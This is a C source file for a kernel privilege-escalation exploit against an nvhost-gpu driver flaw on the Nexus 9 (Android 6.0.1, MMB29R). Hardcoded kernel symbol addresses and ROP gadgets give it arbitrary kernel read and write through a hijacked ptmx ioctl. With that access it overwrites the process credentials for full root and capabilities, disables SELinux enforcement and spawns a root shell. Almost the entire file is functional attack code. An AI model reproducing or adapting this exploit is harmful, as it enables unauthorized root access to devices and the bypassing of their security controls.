/*
 * Exploit for nvhost-gpu vulnerability
 *
 * Just for Nexus 9 MMB29R, if you want to run on other version, some symbol address should be changed
 *
 * shell@flounder:/ $ getprop ro.build.fingerprint 
 * google/volantis/flounder:6.0.1/MMB29R/2482564:user/release-keys
 *
 * By Jianqiang Zhao (zhaojianqiang1@gmail.com)
 *
 * 2-22-2016
 */

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <fcntl.h>  
#include <errno.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>

#define ioctl_syscall(n, efd, cmd, arg) \
		eabi_syscall(n, efd, cmd, arg)

#define NVHOST_IOCTL_MAGIC 'H'

#define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER  \
        _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)

#define NVMAP_IOC_MAGIC 'N'

#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)

#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)

#define NVMAP_HEAP_IOVMM   (1ul<<30)

#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)

struct nvhost_set_error_notifier {
        __u64 offset;
        __u64 size;
        __u32 mem;
        __u32 padding;
};

struct nvmap_create_handle {
        union {
                __u32 id;       /* FromId */
                __u32 size;     /* CreateHandle */
                __s32 fd;       /* DmaBufFd or FromFd */
        };
        __u32 handle;           /* returns nvmap handle */
};

struct nvmap_alloc_handle {
        __u32 handle;           /* nvmap handle */
        __u32 heap_mask;        /* heaps to allocate from */
        __u32 flags;            /* wb/wc/uc/iwb etc. */
        __u32 align;            /* min alignment necessary */
};

#define NEW_PROC_NAME		"pvR_timewQ"
#define KERNEL_BASE		0xffffffc000000000

#define THREAD_INFO_SIZE  	16384
#define KERNEL_TEXT_START 	0xffffffc000080000
#define HISI_KERNEL_TEXT_START	0xffffffc001000000
#define KERNEL_TEXT_END   	0xfffffffffffffffc

#define PAGE_OFFSET       	0xffffffc000080000
#define KERNEL_TEXT_16M   	0x9000000
#define COMM_SWAPPER0     	0x70617773 // "paws"  => "swapper" or "swapper/"
#define COMM_SWAPPER1     	0x00726570 // "\0rep"
#define COMM_SWAPPER2     	0x2f726570 // "/rep"
#define COMM_INIT         	0x74696e69 // "tini" => "init"
#define COMM_KTHREADD0    	0x7268746b // "rhtk" => "kthreadd"
#define COMM_KTHREADD1    	0x64646165 // "ddae"
#define COMM_MYNAME0      	0x5f742f67 // "_t/g" =>   "g/t_ua.b"
#define COMM_MYNAME1      	0x622e6175 // "b.au"

#define PTMX_MISC		0xffffffc0010aa500
#define PTMX_FOPS		0xffffffc0010aa420
#define PTMX_LLSEEK		0xffffffc000194630
#define PTMX_READ		0xffffffc0003ed2a8
#define PTMX_WRITE		0xffffffc0003ed8d4
#define PTMX_POLL		0xffffffc0003ed468
#define PTMX_IOCTL		0xffffffc0003efe2c
#define COMPAT_PTMX_IOCTL	0xffffffc0003ed388
#define PTMX_OPEN		0xffffffc0003f8974
#define PTMX_RELEASE		0xffffffc0003ef5b8
#define PTMX_FASYNC		0xffffffc0003ed254

#define SELINUX_ENFORCING	0xffffffc00109cb0c
#define INIT_TASK		0xffffffc000e58820

/*
 * rop read:
 * ffffffc00033d7f8:       f9400840        ldr     x0, [x2,#16]
 * ffffffc00033d7fc:       d65f03c0        ret
 */
#define ROP_READ	0xffffffc00033d7f8

/*
 * rop write:
 * ffffffc00082836c:       b9001041        str     w1, [x2,#16]
 * ffffffc000828370:       d65f03c0        ret
*/
#define ROP_WRITE	0xffffffc00082836c

static unsigned long my_task = 0;
static unsigned int task_offset = 616, comm_offset = 1168, cred_offset = 1160;

static int ptmx_fd = 0;
static unsigned long fake_ptmx_fops = 0;

static int kernel_read_32(unsigned long addr, unsigned int *val);
static int kernel_read(unsigned long addr, unsigned long *val);
static int kernel_write_32(unsigned long address, unsigned int value);
static int kernel_write(unsigned long addr, unsigned long val);

static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	/* 
	 * follow the init_task->task list to search myself:
	 * next: swapper->init->kthreadd->... 
	 * pre:  swapper->...->myself->... 
	 */
	task_list = (INIT_TASK + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		/* search self process from tail */
		addr = task_list + 8;
		ret = kernel_read(addr, &task_list);
		
		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = kernel_read_32(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = kernel_read_32(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = kernel_read_32(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, "pvR_timewQ", strlen("pvR_timewQ"))) {
			*task = task_list - task_offset;
			break;
		}
			
	}
	
	return 0;
}

static int do_root(void)
{
	int ret;
	unsigned long i, cred, addr;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}

	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = kernel_read(my_task + cred_offset, &cred);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = kernel_read_32(addr, &tmp0);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;
	
	addr = cred + (i+0) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+1) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+2) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+3) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+4) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+5) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+6) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+7) * 4;
	ret = kernel_write_32(addr, 0);

	//securebits: cred[i+8]
	// for full capabilities
	addr = cred + (i+9) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+10) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+11) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+12) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+13) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+14) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+15) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	// crash when write this address
	addr = cred + (i+16) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	/* success! */

	// disable SELinux
	kernel_write_32(SELINUX_ENFORCING, 0);

	return 0;
}

static void restore(void)
{
	unsigned long addr;

	// restore ptmx_cdev->ops
	addr = PTMX_MISC + 8 * 10 - 4;
	kernel_write_32(addr, 0xffffffc0);

	// reinit ptmx_cdev->list
	addr = PTMX_MISC + 8 * 10;
	kernel_write(addr, addr);
	kernel_write(addr + 8, addr);
}

static int map_nvmap_handle(unsigned int *handle)
{
	int nvmap_fd, ret = 0;
	unsigned int cmd;
	struct nvmap_create_handle nvmap_arg;
	struct nvmap_alloc_handle alloc_arg;
	unsigned int nvmap_handle;

	nvmap_fd = open("/dev/nvmap", O_RDONLY, 0);
	if(nvmap_fd < 0) {
		ret = -1;
		printf("[-] Failed to open nvmap device (%d-%s)\n", errno, strerror(errno));
		goto out;
	}

	memset(&nvmap_arg, 0, sizeof(nvmap_arg));
	nvmap_arg.size = 0x10000;

	cmd = NVMAP_IOC_CREATE;
	ret = ioctl(nvmap_fd, cmd, &nvmap_arg);
	if(ret == -1) {
		printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno);
		goto ioctl_fail;
	}

	nvmap_handle = nvmap_arg.handle;

	memset(&alloc_arg, 0, sizeof(alloc_arg));
	alloc_arg.handle = nvmap_handle;
	alloc_arg.align = 0x1000;
	alloc_arg.heap_mask = NVMAP_HEAP_IOVMM;
	alloc_arg.flags = NVMAP_HANDLE_WRITE_COMBINE;

	cmd = NVMAP_IOC_ALLOC;
	ret = ioctl(nvmap_fd, cmd, &alloc_arg);
	if(ret == -1) {
		printf("[-] Ioctl nvmap fail(%s - %d)\n", strerror(errno), errno);
		goto ioctl_fail;
	}

	*handle = nvmap_handle;

ioctl_fail:
	close(nvmap_fd);
out:
	return ret;
}

static int kernel_write_32(unsigned long addr, unsigned int val)
{
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

	arg = addr - 16;
	ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
	return 0;
}

static int kernel_write(unsigned long addr, unsigned long val)
{
	unsigned int val32;

	val32 = (unsigned int)val;
	kernel_write_32(addr, val32);

	val32 = (unsigned int)((val >> 32) & 0xffffffff);
	kernel_write_32(addr + 4, val32);
	return 0;
}

static int rop_init(void)
{
	ptmx_fd = open("/dev/ptmx", O_RDONLY);
	if(ptmx_fd == -1) {
		printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno);
		return -1;
	}

	return 0;
}

static int rop_close(void)
{
	close(ptmx_fd);
	return 0;
}

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
	int ret;
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ;
	arg = addr - 16;
	errno = 0;
	ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg);
	*val = ret;

	return 0;
}

static int kernel_read(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	kernel_read_32(address, &val0);
	kernel_read_32(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}

static int get_root(void)
{
	int fd, i, ret = 0;
	unsigned int cmd;
	struct nvhost_set_error_notifier arg;
	unsigned int nvmap_handle;
	void *map, *map2;
	unsigned long tmp, va;
	
	ret = map_nvmap_handle(&nvmap_handle);
	if(ret == -1){
		goto out;
	}
	printf("[+] alloc nvmap handle: %d\n", nvmap_handle);

        map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
        if(map == MAP_FAILED) {
                printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
		ret = -1;
		goto out;
        }
        printf("[+] landing mmap'ed @ %p\n", map);
        memset(map, 0xff, 0x10000000);

	fd = open("/dev/nvhost-gpu", O_RDONLY);
	if(fd == -1) {
		printf("[-] Open nvhost-gpu fail (%s - %d)\n", strerror(errno), errno);
		ret = -1;
		goto open_gpu_out;
	}
        printf("[+] open device nvhost-gpu\n");

	memset(&arg, 0, sizeof(arg));
	arg.mem = nvmap_handle;
	arg.offset = (unsigned long)map - 0xffffff8000000000;
	arg.size = 0;
	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
	ret = ioctl(fd, cmd, &arg);
	if(ret == -1) {
		printf("[-] Ioctl nvhost-gpu fail(%s - %d)\n", strerror(errno), errno);
		goto ioctl_out;
	}

	for(i=0; i<0x10000000/8; i++) {
		tmp = *((unsigned long*)map + i);
		if(tmp == 0) {
			break;
		}
	}

	va = 0xffffff8000000000 + i * 8;
	printf("[+] va position: 0x%lx\n", va);

	map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);
	if(map2 == MAP_FAILED) {
		ret = -1;
		printf("[-] shellcode mmap failed (%d-%s)\n", errno, strerror(errno));
		goto ioctl_out;
	}
	printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.\n", map2);
	memset(map2, 0, 0x10000000);

	fake_ptmx_fops = PTMX_FOPS & 0xffffffff;
	*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
	*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
	*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
	*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
	*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
	*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;

	printf("[+] clear ptmx_cdev list first\n");
	memset(&arg, 0, sizeof(arg));
	arg.mem = nvmap_handle;
	arg.offset = PTMX_MISC - va + 8 * 10;
	arg.size = 0;

	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
	ret = ioctl(fd, cmd, &arg);
	if(ret == -1) {
		printf("[-] Ioctl nvhost-gpu fail(%s - %d)\n", strerror(errno), errno);
		goto ioctl_out_2;
	}

	printf("[+] overwrite ptmx_cdev ops\n");
	memset(&arg, 0, sizeof(arg));
	arg.mem = nvmap_handle;
	arg.offset = PTMX_MISC - va + 8 * 10 - 4;
	arg.size = 0;

	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;
	ret = ioctl(fd, cmd, &arg);
	if(ret == -1) {
		printf("[-] Ioctl nvhost-gpu fail(%s - %d)\n", strerror(errno), errno);
		goto ioctl_out_2;
	}

	rop_init();

	printf("[+] to get root ...\n");
	do_root();

	printf("[+] restore \n");
	restore();

	rop_close();

ioctl_out_2:
	munmap(map2, 0x10000000);
ioctl_out:
	close(fd);
open_gpu_out:
	munmap(map, 0x10000000);
out:
	return ret;
}

static void banner(void)
{
	printf("\n");
	printf("*********************************************************\n");
	printf("*	     Exploit for nvhost-gpu vulnerability	*\n");
	printf("*	        Just for Nexus 9	MMB29R		*\n");
	printf("*	by Jianqiang Zhao (zhaojianqiang1@gmail.com)	*\n");
	printf("*			2-22-2016			*\n");
	printf("*********************************************************\n");
	printf("\n");
}

int main(void)
{
	int ret;

	banner();

	prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	ret = get_root();
	if(ret == -1) {
		printf("[-] get root fail\n");
		return -1;
	}

	printf("[+] SELinux disabled! \n");
	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		printf("\n[+] Got it :)\n");
		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	}

	return 0;
}
